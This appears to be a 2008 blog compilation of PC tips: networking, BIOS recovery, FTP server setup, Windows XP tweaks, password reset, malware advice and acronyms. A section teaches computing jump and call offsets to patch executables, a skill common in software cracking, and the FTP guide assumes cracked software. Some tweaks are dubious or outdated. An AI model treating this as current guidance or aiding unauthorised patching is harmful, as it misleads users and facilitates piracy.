How To Do It

WAN Protocols and Design

2008-08-20T23:46:00.000-07:00

Point-to-Point Leased Lines:

WAN protocols used on point-to-point serial links provide the basic function of delivery of data across that one link. As a CCNA, you will be required to understand and configure a variety of protocols used on point-to-point links, including Link Access Procedure Balanced (LAPB),High-Level Data Link Control (HDLC), and Point-to-Point Protocol (PPP). Each of these WAN protocols has the following functions in common:

1)LAPB, HDLC, and PPP provide for delivery of data across a single point-to-point serial link.

2)LAPB, HDLC, and PPP deliver data on synchronous serial links. (PPP supports asynchronous functions as well.)

FRAMING:
Framing is one core feature of any synchronous serial data link protocol. Each of these protocols defines framing so that receiving stations know where the beginning of the frame is, what address is in the header, and the point at which the packet begins. By doing so, the router receiving data can distinguish between idle frames and data frames. Synchronous links, rather than asynchronous links, are typically used between routers.

Synchronous simply means that there is an imposed time ordering at the sending and receiving ends of the link. Essentially, the sides agree to a certain speed, but because it is very expensive to build devices that can truly operate at exactly the same speed,the devices adjust their rates to match a clock source. The process works almost like the scenes in spy novels, when the spies synchronize their watches; in this case, the watches or clocks are synchronized automatically multiple times per minute. Unlike asynchronous links, in which no bits are sent during idle times, synchronous data links define idle frames. These frames do nothing more than provide plenty of signal transitions so that clocks can be adjusted on the receiving end, consequently maintaining synchronization.

4-wire circuit A line from the telco with four wires, comprised of two twisted-pair wires. Each pair is used to send in one direction, so a 4-wire circuit allows full-duplex communication.

2-wire circuit A line from the telco with two wires, comprised of one twisted-pair wire. The pair is used to send in only one direction at a time, so a 2-wire circuit allows only half-duplex communication.

Boot Block Recovery For Free

2008-08-20T22:37:00.000-07:00

You don't need to pay a measly sum of dollars just to recover from a boot block mode. Here it is folks:

AWARD Bootblock recovery:

That shorting trick should work if the boot block code is not corrupted, and it should not be if /sb switch is used when flashing the bios (instead of /wb switch).

The 2 pins to short to force a checksum error varies from chip to chip. But these are usually the highest-numbered address pins (A10 and above).

These are the pins used by the system to read the System BIOS (original.bin for award v6), calculate the ROM checksum and see if it's valid before decompressing it into memory, and subsequently allow Bootblock POST to pass control over to the System BIOS.

You just have to fool the system into believing that the System BIOS is corrupt. This you do by giving your system a hard time reading the System BIOS by shorting the 2 high address pins. And when it could not read the System BIOS properly, ROM Checksum Error is detected "so to speak" and Bootblock recovery is activated.

Sometimes, any combination of the high address pins won't work to force a checksum error in some chips, like my Winbond W49F002U. But shorting the #WE pin with the highest-numbered address pin (A17) worked for this chip. You just have to be experimentative if you're not comfortable with "hot flashing" or "replacement BIOS".

But to avoid further damage to your chip if you're not sure which are the correct pins to short, measure the potential between the 2 pins by a voltmeter while the system is on. If the voltage reading is zero (or no potential at all), it is safe to short these pins.

But do not short the pins while the system is on. Instead, power down then do the short, then power up while still shorting. And as soon as you hear 3 beeps (1 long, 2 short), remove the short at once so that automatic reflashing from Drive A can proceed without errors (assuming you had autoexec.bat in it).

About how to do the shorting, the tip of a screwdriver would do. But with such minute pins on the PLCC chip, I'm pretty comfortable doing it with the tip of my multi-tester or voltmeter probe. Short the pins at the point where they come out of the chip.

AMIBIOS Recovery bootblock:
1. Copy a known working BIOS image for your board to a floppy and rename it to AMIBOOT.ROM.
2. Insert the floppy in your system's floppydrive.
3. Power on the system while holding CTRL+Home keys. Release the keys when you hear a beep and/or see the floppy light coming on.
4 . Just wait until you hear 4 beeps. When 4 beeps are heard the reprogramming of the System Block BIOS went succesfull, so then you may restart your system.

Some alternative keys that can be used to force BIOS update (only the System Block will be updated so it's quite safe):
CTRL+Home= restore missing code into system block and clear CMOS when programming went ok.
CTRL+Page Up= restore missing code into system block and clear CMOS or DMI when programming went ok.
CTRL+Page Down= restore missing code into system block and do not clear CMOS and DMI area when programming went ok
Btw: the alternative keys work only with AMIBIOS 7 or higher (so for example an AMI 6.26 BIOS can be only recovered by using CTRL+Home keys).
Boot Block Recovery for FREE

************************************************
BLACKOUT Flashing
*************************************************

Recovering a Corrupt AMI BIOS chip
With motherboards that use BOOT BLOCK BIOS it is possible to recover a corrupted BIOS because the BOOT BLOCK section of the BIOS, which is responsible for booting the computer remains unmodified. When an AMI BIOS becomes corrupt the system will appear to start, but nothing will appear on the screen, the floppy drive light will come on and the system will access the floppy drive repeatedly. If your motherboard has an ISA slot and you have an old ISA video card lying around, put the ISA video card in your system and connect the monitor. The BOOT BLOCK section of the BIOS only supports ISA video cards, so if you do not have an ISA video card or your motherboard does not have ISA slots, you will have to restore your BIOS blind, with no monitor to show you what’s going on.

AMI has integrated a recovery routine into the BOOT BLOCK of the BIOS, which in the event the BIOS becomes corrupt can be used to restore the BIOS to a working state. The routine is called when the SYSTEM BLOCK of the BIOS is empty. The restore routine will access the floppy drive looking for a BIOS file names AMIBOOT.ROM, this is why the floppy drive light comes on and the drive spins. If the file is found it is loaded into the SYSTEM BLOCK of the BIOS to replace the missing information. To restore your BIOS simply copy a working BIOS file to a floppy diskette and rename it AMIBOOT.ROM, then insert it into the computer while the power is on. The diskette does not need to be bootable or contain a flash utility. After about four minutes the system will beep four times. Remove the floppy diskette from the drive and reboot the computer. The BIOS should now be restored.

Recovering a Corrupt AWARD BIOS
With AWARD BIOS the process is similar but still a bit different. To recover an AWARD BIOS you will need to create a floppy diskette with a working BIOS file in .BIN format, an AWARD flash utility and an AUTOEXEC.BAT file. AWARD BIOS will not automatically restore the BIOS information to the SYSTEM BLOCK for this reason you will need to add the commands necessary to flash the BIOS in the AUTOEXEC.BAT file. The system will run the AUTOEXE.BAT file, which will in turn flash the BIOS. This is fairly easy. Here are the steps you need to take.

· Create a bootable floppy diskette
· Copy the BIOS file and flash utility to the diskette
· Create an text file with any standard text editor and add the following lines

@ECHO OFF
FLASH763 BIOSFILE.BIN /py

In the above example I am assuming that you are using the FLASH763.EXE flash utility. You will need to replace the FLASH763 with the name of whatever flash utility you are using, and replace the BIOSFILE.BIN with the name of the BIOS file you are using. You will also need to change the ‘/py’ to whatever the command is for your flash utility to automatically program the BIOS without user intervention. If you do not know the command to automatically flash your BIOS type the name of the flash utility with a space and then /? to display the utility’s help screen. The help screen should pecify the command switch to automatically flash your BIOS. If you are using the FLASH763.EXE utility then the switch to automatically flash your BIOS is ‘/py’.

BulletProof FTP Server Tutorial

2008-08-20T22:36:00.001-07:00

Configuring your Bulletproof FTP Server Tutorial

I am not sure where I found this tutorial, It’s been a while…It might even have been here... ..So if it is one of yours, my hat goes off to you once again....

After reading the excellent tutorial on "Creating an FTP" that Norway posted…

(I would suggest reading and following his tutorial first, then following up with this one)

I thought that perhaps this tutorial might be pretty helpful for those interested in knowing how to configure their Bulletproof FTP Server that don't already know how... Here's how to get started…

This is for the BulletProof FTP Server 2.10. However, It should work fine on most following versions as well.

I'm assuming you have it installed and cracked.

Basics
1. Start the program.
2. Click on Setup > Main > General from the pull-down menu.
3. Enter your server name into the 'Server Name' box. Under Connection set the “Max number of users" to any number. This is the limit as to how many users can be on your sever at any time.
4. Click on the 'options' tab of that same panel (on the side)
5. Look at the bottom, under IP Options. Put a check in the box “Refuse Multiple Connections from the same IP”. This will prevent one person from blocking your FTP to others.
6. Also put a check in the 'Blocked Banned IP (instead of notifying client). VERY IMPORTANT! If somebody decides to 'Hammer' (attempt to login numerous times VERY quickly) your server/computer may CRASH if you don't enable this.
7. Click on the 'advanced' tab
8. At the bottom again look at the 'hammering area'
9. Enable 'anti-hammer' and 'do not reply to people hammering' Set it for the following: Block IP 120 min if 5 connections in 60 sec. You can set this at whatever you want to but that is pretty much a standard Click 'OK'

Adding Users
11. Setup > User accounts form pull-down.
12. Right click in the empty 'User Accounts' area on the right: choose 'Add'
13. Enter account name. (ie: logon name)
14. In the 'Access rights' box right click: choose ‘Add’.
15. Browse until you find the directory (folder) you want to share. In the right column you will see a bunch of checkboxes. Put a check in the following ones: Read, Write, Append, Make, List, and +Subdirs. Press 'select'.
16. Enter a password for your new FTP account.
17. Click on 'Miscellaneous' in the left column. Make sure 'Enable Account' is selected. Enable 'Max Number of Users' set it at a number other than zero. 1 for a personal account and more that one for a group account. Enable 'Max. no. of connects per IP' set it at 1

18. Under 'Files' enable 'show relative path' this is a security issue. A FTP client will now not be able to see the ENTIRE path of the FTP. It will only see the path from the main directory. Hide hidden flies as well.
Put a tick in both of these.

Advanced:
You don't need to do any of this stuff, but It will help tweak your server and help you maintain order on it. All of the following will be broken down into small little areas that will tell you how to do one thing at a time.

Changing the Port
The default port is always 21, but you can change this. Many ISPs will routinely do a scan of its own users to find a ftp server, also when people scan for pubs they may scan your IP, thus finding your ftp server. If you do decide to change it many suggest that you make the port over 10,000.
1. Setup > Main > General
2. In the 'Connection' Area is a setting labeled 'Listen on Port Number:'
3. Make it any number you want. That will be your port number.
4. Click 'OK'

Making an 'Upload Only' or 'Download Only' ftp server.
This is for the entire SERVER, not just a user.
1. Setup > Main > Advanced
2. In the advanced window you will have the following options: uploads and downloads, downloads only, and uploads only. By default upload and download will be checked. Change it to whatever you want.
3. Click 'OK’

While you are running your server, usually you will end up spending more time at your computer than you normally do. Don't be afraid to ban IP's. Remember, on your FTP you do as you want.

When you are online you must also select the open server button next to the on-line button which is the on-line Button

You also have to use the actual Numbered ip Address ie: 66.250.216.67

Or even Better yet, get a no-ip.com address

Boot Winxp Fast

2008-08-20T22:36:00.000-07:00

Follow the following steps

1. Open notepad.exe, type "del c:\windows\prefetch\ntosboot-*.* /q" (without the quotes) & save as "ntosboot.bat" in c:\
2. From the Start menu, select "Run..." & type "gpedit.msc".
3. Double click "Windows Settings" under "Computer Configuration" and double click again on "Shutdown" in the right window.
4. In the new window, click "add", "Browse", locate your "ntosboot.bat" file & click "Open".
5. Click "OK", "Apply" & "OK" once again to exit.
6. From the Start menu, select "Run..." & type "devmgmt.msc".
7. Double click on "IDE ATA/ATAPI controllers"
8. Right click on "Primary IDE Channel" and select "Properties".
9. Select the "Advanced Settings" tab then on the device or 1 that doesn't have 'device type' greyed out select 'none' instead of 'autodetect' & click "OK".
10. Right click on "Secondary IDE channel", select "Properties" and repeat step 9.
11. Reboot your computer.

Burn a BIN without a CUE using NERO

2008-08-20T22:35:00.000-07:00

You've downloaded a *.BIN file, but there was no *.CUE file associated and you still want to burn the *.BIN file using Nero

Your options are:

1) Create yourself a *.CUE

2) Convert the *.BIN to an *.ISO

3) OR use Nero to burn without the *.CUE file!!!

Yes, that's possible... just follow these steps and you will be sorted. No need for *.CUE files anymore

Ok, here we go...

1) Start Nero

2) File -> Burn Image

3) Browse to the *.BIN file that you want to burn and open it

4) A window saying "Foreign Image Settings" will open

5) Check the settings. They should be as followed:

* Type of image: leave it to Data Mode 1
* Select the Raw Data check box
Note ->> The block size will change automatically from 2048 to 2352
* Leave Image Header and Image Trailer unchanged and set to 0
* Leave "Scrambled" and "Swapped" check boxes unchecked

6) Click on burn!

7) Enjoy

This tut was for Nero 5.x.x.x, I was told that "Burn Image" is under "recorder" in Nero 6. The rest of the steps should be the same...
xkalibur

cannot use my password to get back into Windows XP

2008-08-20T22:34:00.001-07:00

Because of the security features built into Windows XP, it is virtually impossible to get back into the system without the password.
You have several options to try and get around this problem.

If you have access to another user account with administrator rights, you can use that account to change the password
of the account that is locked out. You can also use the default Administrator account that is built into Windows XP.

First you need to boot the system into Safe Mode.
1.Restart your system.
2.When you see the blue Dell globe or screen, press the ( F8 ) key about 3 times a second.
3.You should get the Windows startup menu. Use the (Up or Down) arrow keys to highlight (SafeMode)
4.Press (Enter) on (Safe Mode), then press (Enter) on (Windows XP).
5.The system should boot to Safe Mode.

Once you are at the Account Log on Screen, click on the icon
for the user account with administrator rights, or click on the icon
for the administrators account.
Note: For Home the Administrator account isn't normally shown & in Safe Mode you have to press Ctrl+Alt+Delete keys twice to show.
For PRO you can do this in normal mode

When the system has booted to the desktop, use the following steps to change the accounts password.
1.Click Start, Control Panel, Administrative Tools.
2.Click Computer Management.
3.Double click Local Users and Groups, double click the folder Users.
4.Right click on the account name that is locked out, and click on Set Password.
5.You may get a warning message about changing the password, simply click proceed.
6.Leave the New Password box blank, also leave the Confirm Password box blank.
7.Click OK, and OK again.
8.Then close all Windows, reboot the system and try to log in.

There are also applications that can recover the password for you.
The following companies provide these applications at a cost.
iOpus® Password Recovery XP here.
LostPassword.com, here.
Asterisk Password Recovery XP v1.89 here.
Windows XP / 2000 / NT Key here.

If the above information does not help in recovering the password, the only option left is to
format the hard drive then reinstall Windows and the system software.

Calculating Offsets

2008-08-20T22:34:00.000-07:00

Introduction

This tutorial is more of a tip than a tutorial. It just explains how to calculate offsets for jumps and calls within the program you are patching.

Types of Jumps/Calls

Here I will just describe the different types of jumps and calls which you will come across:

Short Jumps
Short jumps be they conditional or unconditional jumps are 2 bytes long (or 1 nibble if your Californian ;-). These are relative jumps taken from the first byte after the two bytes of the jump. Using short jumps you can jump a maximum of 127 bytes forward and 128 bytes backwards.

Long Jumps
Long jumps if they are relative are 6 bytes long for conditional jumps and are 5 bytes long for unconditional jumps. For conditional jumps 2 bytes are used to identify that it is a long jump and what type of jump (je, jg, jns etc) it is. The other 4 bytes are used to show how far away the target location is relative to the first byte after the jump. In an unconditional jump only 1 byte is used to identify it as a long unconditional jump and the other 4 are used to show it's target's relative position, as with the conditional jumps.

Calls
There are two different types of calls which we will use. The normal type of call works the same as the long jumps in that it is relative to it's current position. The other type gives a reference to a memory location, register or stack position which holds the memory location it will call. The position held by the later is direct e.g. the memory location referenced may contain 401036h which would be the exact position that you would call, not relative to the position of the call. The size of these types of calls depends on any calculations involved in the call i.e. you could do: 'call dword ptr [eax * edx + 2]'. Long jumps can also be made using this method, but I didn't say that earlier as to avoid repetition.

Tables
Here is a brief list of all the different types of jumps/calls and their appropriate op-codes. Where different jumps have the same Op-Codes I have grouped them:

Jump Description Short Op-Code Long Op-Code
call procedure call E8xxxxxxxx N/A
jmp u nconditional jump EBxx E9xxxxxxxx
ja/jnbe jump if above 77xx 0F87xxxxxxxx
jae/jnb/jnc jump if above or equal 73xx 0F83xxxxxxxx
jb/jc/jnae jump if below 72xx 0F82xxxxxxxx
jbe/jna jump if below or equal 76xx 0F86xxxxxxxx
jcxz/jecxz jump if cx/ecx equals zero E3xx N/A
je/jz jump if equal/zero 74xx 0F84xxxxxxxx
jne/jnz jump if not equal/zero 75xx 0F85xxxxxxxx
jg/jnle jump if greater 7Fxx 0F8Fxxxxxxxx
jge/jnl jump if greater or equal 7Dxx 0F8Dxxxxxxxx
jl/jnge jump if less 7Cxx 0F8Cxxxxxxxx
jle/jng jump if less or equal 7Exx 0F8Exxxxxxxx
jno jump if not overflow 71xx 0F81xxxxxxxx
jnp/jpo jump if no parity/parity odd 7Bxx 0F8Bxxxxxxxx
jns jump if not signed 79xx 0F89xxxxxxxx
jo jump if overflow 70xx 0F80xxxxxxxx
jp/jpe jump if parity/parity even 7Axx 0F8Axxxxxxxx
js jump if sign 78xx 0F88xxxxxxxx

Calculating Offsets (finding in the xx's in table)

You will need to be able to calculate offsets when you add jumps and make calls within and to the code you have added. If you choose to do this by hand instead of using a tool then here are the basics:

For jumps and calls further on in memory from your current position you take the address where you want to jump/call and subtract from it the memory location of the next instruction after your call/jump i.e.:

(target mem address) - (mem location of next instruction after call/jump)

Example
If we wanted to jump to 4020d0 and the next instruction *after* the jump is at location 401093 then we would use the following calculation:

4020d0 - 401093 = 103d

We then write the jump instruction in hex as e93d100000 where e9 is the hex op-code for a long relative jump and 3d100000 is the result of our calculation expanded to dword size and reversed.

For jumps and calls to locations *before* the current location in memory you take the address you want to call/jump to and subtract it from the memory location of the next instruction after your call/jump, then subtract 1 and finally perform a logical NOT on the result i.e.

NOT(mem address of next instruction - target mem address - 1)

Example
If we wanted to call location 401184 and the address of the next instruction after the call is 402190 then we do the following calculation:

NOT(402190 - 401184 - 1 ) = ffffeff4

We can then write our call instruction in hex as e8f4efffff where e8 is the hex op-code for relative call and f4efffff is the result of the calculation in reverse order.

If you want to practice with different examples then the best way to do this is to use a disassembler like WDASM which shows you the op-codes and try and work out the results yourself. Also as an end note you don't have to perform these calculations if you have enough room to make your jump or call instruction into an absolute jump call by doing the following as represented in assembler:

mov eax, 4020d0
call eax (or jmp eax)

Final Notes

Make life easier and use a program to do this ;-)

Caught A Virus

2008-08-20T22:33:00.001-07:00

If you've let your guard down--or even if you haven't--it can be hard to tell if your PC is infected. Here's what to do if you suspect the worst.

Heard this one before? You must run antivirus software and keep it up to date or else your PC will get infected, you'll lose all your data, and you'll incur the wrath of every e-mail buddy you unknowingly infect because of your carelessness.

You know they're right. Yet for one reason or another, you're not running antivirus software, or you are but it's not up to date. Maybe you turned off your virus scanner because it conflicted with another program. Maybe you got tired of upgrading after you bought Norton Antivirus 2001, 2002, and 2003. Or maybe your annual subscription of virus definitions recently expired, and you've put off renewing.

It happens. It's nothing to be ashamed of. But chances are, either you're infected right now, as we speak, or you will be very soon.

For a few days in late January, the Netsky.p worm was infecting about 2,500 PCs a day. Meanwhile the MySQL bot infected approximately 100 systems a minute (albeit not necessarily desktop PCs). As David Perry, global director of education for security software provider Trend Micro, puts it, "an unprotected [Windows] computer will become owned by a bot within 14 minutes."

Today's viruses, worms, and so-called bots--which turn your PC into a zombie that does the hacker's bidding (such as mass-mailing spam)--aren't going to announce their presence. Real viruses aren't like the ones in Hollywood movies that melt down whole networks in seconds and destroy alien spacecraft. They operate in the background, quietly altering data, stealing private operations, or using your PC for their own illegal ends. This makes them hard to spot if you're not well protected.

Is Your PC "Owned?"

I should start by saying that not every system oddity is due to a virus, worm, or bot. Is your system slowing down? Is your hard drive filling up rapidly? Are programs crashing without warning? These symptoms are more likely caused by Windows, or badly written legitimate programs, rather than malware. After all, people who write malware want to hide their program's presence. People who write commercial software put icons all over your desktop. Who's going to work harder to go unnoticed?

Other indicators that may, in fact, indicate that there's nothing that you need to worry about, include:

* An automated e-mail telling you that you're sending out infected mail. E-mail viruses and worms typically come from faked addresses.
* A frantic note from a friend saying they've been infected, and therefore so have you. This is likely a hoax. It's especially suspicious if the note tells you the virus can't be detected but you can get rid of it by deleting one simple file. Don't be fooled--and don't delete that file.

I'm not saying that you should ignore such warnings. Copy the subject line or a snippet from the body of the e-mail and plug it into your favorite search engine to see if other people have received the same note. A security site may have already pegged it as a hoax.

Sniffing Out an Infection

There are signs that indicate that your PC is actually infected. A lot of network activity coming from your system (when you're not actually using Internet) can be a good indicator that something is amiss. A good software firewall, such as ZoneAlarm, will ask your permission before letting anything leave your PC, and will give you enough information to help you judge if the outgoing data is legitimate. By the way, the firewall that comes with Windows, even the improved version in XP Service Pack 2, lacks this capability.

To put a network status light in your system tray, follow these steps: In Windows XP, choose Start, Control Panel, Network Connections, right-click the network connection you want to monitor, choose Properties, check "Show icon in notification area when connected," and click OK.

If you're interested in being a PC detective, you can sniff around further for malware. By hitting Ctrl-Alt-Delete in Windows, you'll bring up the Task Manager, which will show you the various processes your system is running. Most, if not all, are legit, but if you see a file name that looks suspicious, type it into a search engine and find out what it is.

Want another place to look? In Windows XP, click Start, Run, type "services.msc" in the box, and press Enter. You'll see detailed descriptions of the services Windows is running. Something look weird? Check with your search engine.

Finally, you can do more detective work by selecting Start, Run, and typing "msconfig" in the box. With this tool you not only see the services running, but also the programs that your system is launching at startup. Again, check for anything weird.

If any of these tools won't run--or if your security software won't run--that in itself is a good sign your computer is infected. Some viruses intentionally disable such programs as a way to protect themselves.

What to Do Next

Once you're fairly sure your system is infected, don't panic. There are steps you can take to assess the damage, depending on your current level of protection.

* If you don't have any antivirus software on your system (shame on you), or if the software has stopped working, stay online and go for a free scan at one of several Web sites. There's McAfee FreeScan, Symantec Security Check, and Trend Micro's HouseCall. If one doesn't find anything, try two. In fact, running a free online virus scan is a good way to double-check the work of your own local antivirus program. When you're done, buy or download a real antivirus program.
* If you have antivirus software, but it isn't active, get offline, unplug wires-- whatever it takes to stop your computer from communicating via the Internet. Then, promptly perform a scan with the installed software.
* If nothing seems to be working, do more research on the Web. There are several online virus libraries where you can find out about known viruses. These sites often provide instructions for removing viruses--if manual removal is possible--or a free removal tool if it isn't. Check out GriSOFT's Virus Encyclopedia, Eset's Virus Descriptions, McAffee's Virus Glossary, Symantec's Virus Encyclopedia, or Trend Micro's Virus Encyclopedia.

A Microgram of Prevention

Assuming your system is now clean, you need to make sure it stays that way. Preventing a breach of your computer's security is far more effective than cleaning up the mess afterwards. Start with a good security program, such Trend Micro's PC-Cillin, which you can buy for $50.

Don't want to shell out any money? You can cobble together security through free downloads, such as AVG Anti-Virus Free Edition, ZoneAlarm (a personal firewall), and Ad-Aware SE (an antispyware tool).

Just make sure you keep all security software up to date. The bad guys constantly try out new ways to fool security programs. Any security tool without regular, easy (if not automatic) updates isn't worth your money or your time.

Speaking of updating, the same goes for Windows. Use Windows Update (it's right there on your Start Menu) to make sure you're getting all of the high priority updates. If you run Windows XP, make sure to get the Service Pack 2 update. To find out if you already have it, right-click My Computer, and select Properties. Under the General tab, under System, it should say "Service Pack 2."

Here are a few more pointers for a virus-free life:

* Be careful with e-mail. Set your e-mail software security settings to high. Don't open messages with generic-sounding subjects that don't apply specifically to you from people you don't know. Don't open an attachment unless you're expecting it.
* If you have broadband Internet access, such as DSL or cable, get a router, even if you only have one PC. A router adds an extra layer of protection because your PC is not connecting directly with the Internet.
* Check your Internet ports. These doorways between your computer and the Internet can be open, in which case your PC is very vulnerable; closed, but still somewhat vulnerable; or stealthed (or hidden), which is safest. Visit Gibson Research's Web site and run the free ShieldsUP test to see your ports' status. If some ports show up as closed--or worse yet, open--check your router's documentation to find out how to hide them.

Cant See Secure Sites

2008-08-20T22:33:00.000-07:00

Fix the problem with seeing them secrue sites (banks or online stores) i found this very usefull to me at my work (isp backbone support lol, at the time i was regular support )

Any way... what u need to do is make a new notepad file and write in it the followng DLL's.. just copy-paste these

regsvr32 SOFTPUB.DLL
regsvr32 WINTRUST.DLL
regsvr32 INITPKI.DLL
regsvr32 dssenh.dll
regsvr32 Rsaenh.dll
regsvr32 gpkcsp.dll
regsvr32 sccbase.dll
regsvr32 slbcsp.dll
regsvr32 Cryptdlg.dll

and save it as > all file types, and make it something like securefix.bat.

then just run the file and ur problem shuld be gone.

CMD Prompt here, add to folder context menu windows xp

2008-08-20T22:32:00.001-07:00

add the open cmd prompt to folder context menus
also drives and My Computer

copy what's in the code area to notepad and save as cmd here.reg

CODE

Windows Registry Editor Version 5.00

[HKEY_CLASSES_ROOT\Drive\shell\cmd]
@="Command Prompt"

[HKEY_CLASSES_ROOT\Drive\shell\cmd\command]
@="cmd.exe /k \"cd %L\""

[HKEY_CLASSES_ROOT\Directory\shell\cmd]
@="Command Prompt"

[HKEY_CLASSES_ROOT\Directory\shell\cmd\command]
@="cmd.exe /k \"cd %L\""

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\shell\cmd]
@="Command Prompt"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\shell\cmd\command]
@="cmd.exe /k \"cd %L\""

Clear Unwanted Items From Add And Remove

2008-08-20T22:32:00.000-07:00

Clear Unwanted Items From Add And Remove

Run the Registry Editor (REGEDIT).
Open HKEY_LOCAL_MACHINE\ SOFTWARE\ Microsoft\ Windows\ CurrentVersion\ Uninstall, and remove any unwanted subkeys under "Uninstall."

Computer Acronyms

2008-08-20T22:31:00.001-07:00

ADSL - Asymmetric Digital Subscriber Line
AGP - Accelerated Graphics Port
ALI - Acer Labs, Incorporated
ALU - Arithmetic Logic Unit
AMD - Advanced Micro Devices
APC - American Power Conversion
ASCII - American Standard Code for Information Interchange
ASIC - Application Specific Integrated Circuit
ASPI - Advanced SCSI Programming Interface
AT - Advanced Technology
ATI - ATI Technologies Inc.
ATX - Advanced Technology Extended

--- B ---
BFG - BFG Technologies
BIOS - Basic Input Output System
BNC - Barrel Nut Connector

--- C ---
CAS - Column Address Signal
CD - Compact Disk
CDR - Compact Disk Recorder
CDRW - Compact Disk Re-Writer
CD-ROM - Compact Disk - Read Only Memory
CFM - Cubic Feet per Minute (ft�/min)
CMOS - Complementary Metal Oxide Semiconductor
CPU - Central Processing Unit
CTX - CTX Technology Corporation (Commited to Excellence)

--- D ---

DDR - Double Data Rate
DDR-SDRAM - Double Data Rate - Synchronous Dynamic Random Access Memory
DFI - DFI Inc. (Design for Innovation)
DIMM - Dual Inline Memory Module
DRAM - Dynamic Random Access Memory
DPI - Dots Per Inch
DSL - See ASDL
DVD - Digital Versatile Disc
DVD-RAM - Digital Versatile Disk - Random Access Memory

--- E ---
ECC - Error Correction Code
ECS - Elitegroup Computer Systems
EDO - Extended Data Out
EEPROM - Electrically Erasable Programmable Read-Only Memory
EPROM - Erasable Programmable Read-Only Memory
EVGA - EVGA Corporation

--- F ---
FC-PGA - Flip Chip Pin Grid Array
FDC - Floppy Disk Controller
FDD - Floppy Disk Drive
FPS - Frame Per Second
FPU - Floating Point Unit
FSAA - Full Screen Anti-Aliasing
FS - For Sale
FSB - Front Side Bus

--- G ---
GB - Gigabytes
GBps - Gigabytes per second or Gigabits per second
GDI - Graphical Device Interface
GHz - GigaHertz

--- H ---
HDD - Hard Disk Drive
HIS - Hightech Information System Limited
HP - Hewlett-Packard Development Company
HSF - Heatsink-Fan

--- I ---
IBM - International Business Machines Corporation
IC - Integrated Circuit
IDE - Integrated Drive Electronics
IFS- Item for Sale
IRQ - Interrupt Request
ISA - Industry Standard Architecture
ISO - International Standards Organization

--- J ---
JBL - JBL (Jame B. Lansing) Speakers
JVC - JVC Company of America

- K ---
Kbps - Kilobits Per Second
KBps - KiloBytes per second

--- L ---
LG - LG Electronics
LAN - Local Area Network
LCD - Liquid Crystal Display
LDT - Lightning Data Transport
LED - Light Emitting Diode

--- M ---
MAC - Media Access Control
MB � MotherBoard or Megabyte
MBps - Megabytes Per Second
Mbps - Megabits Per Second or Megabits Per Second
MHz - MegaHertz
MIPS - Million Instructions Per Second
MMX - Multi-Media Extensions
MSI - Micro Star International

--- N ---
NAS - Network Attached Storage
NAT - Network Address Translation
NEC - NEC Corporation
NIC - Network Interface Card

--- O ---
OC - Overclock (Over Clock)
OCZ - OCZ Technology
OEM - Original Equipment Manufacturer

--- P ---
PC - Personal Computer
PCB - Printed Circuit Board
PCI - Peripheral Component Interconnect
PDA - Personal Digital Assistant
PCMCIA - Peripheral Component Microchannel Interconnect Architecture
PGA - Professional Graphics Array
PLD - Programmable Logic Device
PM - Private Message / Private Messaging
PnP - Plug 'n Play
PNY - PNY Technology
POST - Power On Self Test
PPPoA - Point-to-Point Protocol over ATM
PPPoE - Point-to-Point Protocol over Ethernet
PQI - PQI Corporation
PSU - Power Supply Unit

--- R ---
RAID - Redundant Array of Inexpensive Disks
RAM - Random Access Memory
RAMDAC - Random Access Memory Digital Analog Convertor
RDRAM - Rambus Dynamic Random Access Memory
ROM - Read Only Memory
RPM - Revolutions Per Minute

--- S ---
SASID - Self-scanned Amorphous Silicon Integrated Display
SCA - SCSI Configured Automatically
SCSI - Small Computer System Interface
SDRAM - Synchronous Dynamic Random Access Memory
SECC - Single Edge Contact Connector
SODIMM - Small Outline Dual Inline Memory Module
SPARC - Scalable Processor ArChitecture
SOHO - Small Office Home Office
SRAM - Static Random Access Memory
SSE - Streaming SIMD Extensions
SVGA - Super Video Graphics Array
S/PDIF - Sony/Philips Digital Interface

--- T ---
TB - Terabytes
TBps - Terabytes per second
Tbps - Terabits per second
TDK - TDK Electronics
TEC - Thermoelectric Cooler
TPC - TipidPC
TWAIN - Technology Without An Important Name

--- U ---
UART - Universal Asynchronous Receiver/Transmitter
USB - Universal Serial Bus
UTP - Unshieled Twisted Pair

--- V ---
VCD - Video CD
VPN - Virtual Private Network

--- W ---
WAN - Wide Area Network
WTB - Want to Buy
WYSIWYG - What You See Is What You Get

--- X ---
XGA - Extended Graphics Array
XFX - XFX Graphics, a Division of Pine
XMS - Extended Memory Specification
XT - Extended Technology

COMMON FTP ERROR CODES

2008-08-20T22:31:00.000-07:00

110 Restart marker reply. In this case, the text is exact and not left to the particular implementation; it must read: MARK yyyy = mmmm where yyyy is User-process data stream marker, and mmmm server's equivalent marker (note the spaces between markers and "=").

120 Service ready in nnn minutes.

125 Data connection already open; transfer starting.

150 File status okay; about to open data connection.

200 Command okay.

202 Command not implemented, superfluous at this site.

211 System status, or system help reply.

212 Directory status.

213 File status.

214 Help message.On how to use the server or the meaning of a particular non-standard command. This reply is useful only to the human user.

215 NAME system type. Where NAME is an official system name from the list in the Assigned Numbers document.

220 Service ready for new user.

221 Service closing control connection.

225 Data connection open; no transfer in progress.

226 Closing data connection. Requested file action successful (for example, file transfer or file abort).

227 Entering Passive Mode (h1,h2,h3,h4,p1,p2).

230 User logged in, proceed. Logged out if appropriate.

250 Requested file action okay, completed.

257 "PATHNAME" created.

331 User name okay, need password.

332 Need account for login.

350 Requested file action pending further information

421 Service not available, closing control connection.This may be a reply to any command if the service knows it must shut down.

425 Can't open data connection.

426 Connection closed; transfer aborted.

450 Requested file action not taken.

451 Requested action aborted. Local error in processing.

452 Requested action not taken. Insufficient storage space in system.File unavailable (e.g., file busy).

500 Syntax error, command unrecognized. This may include errors such as command line too long.

501 Syntax error in parameters or arguments.

502 Command not implemented.

503 Bad sequence of commands.

504 Command not implemented for that parameter.

530 Not logged in.

532 Need account for storing files.

550 Requested action not taken. File unavailable (e.g., file not found, no access).

551 Requested action aborted. Page type unknown.

552 Requested file action aborted. Exceeded storage allocation (for current directory or dataset).

553 Requested action not taken. File name not allowed.

connect A Psx Pad To Pc, Warning soldering is involved...

2008-08-20T22:29:00.000-07:00

If you are feeling adventurous ...

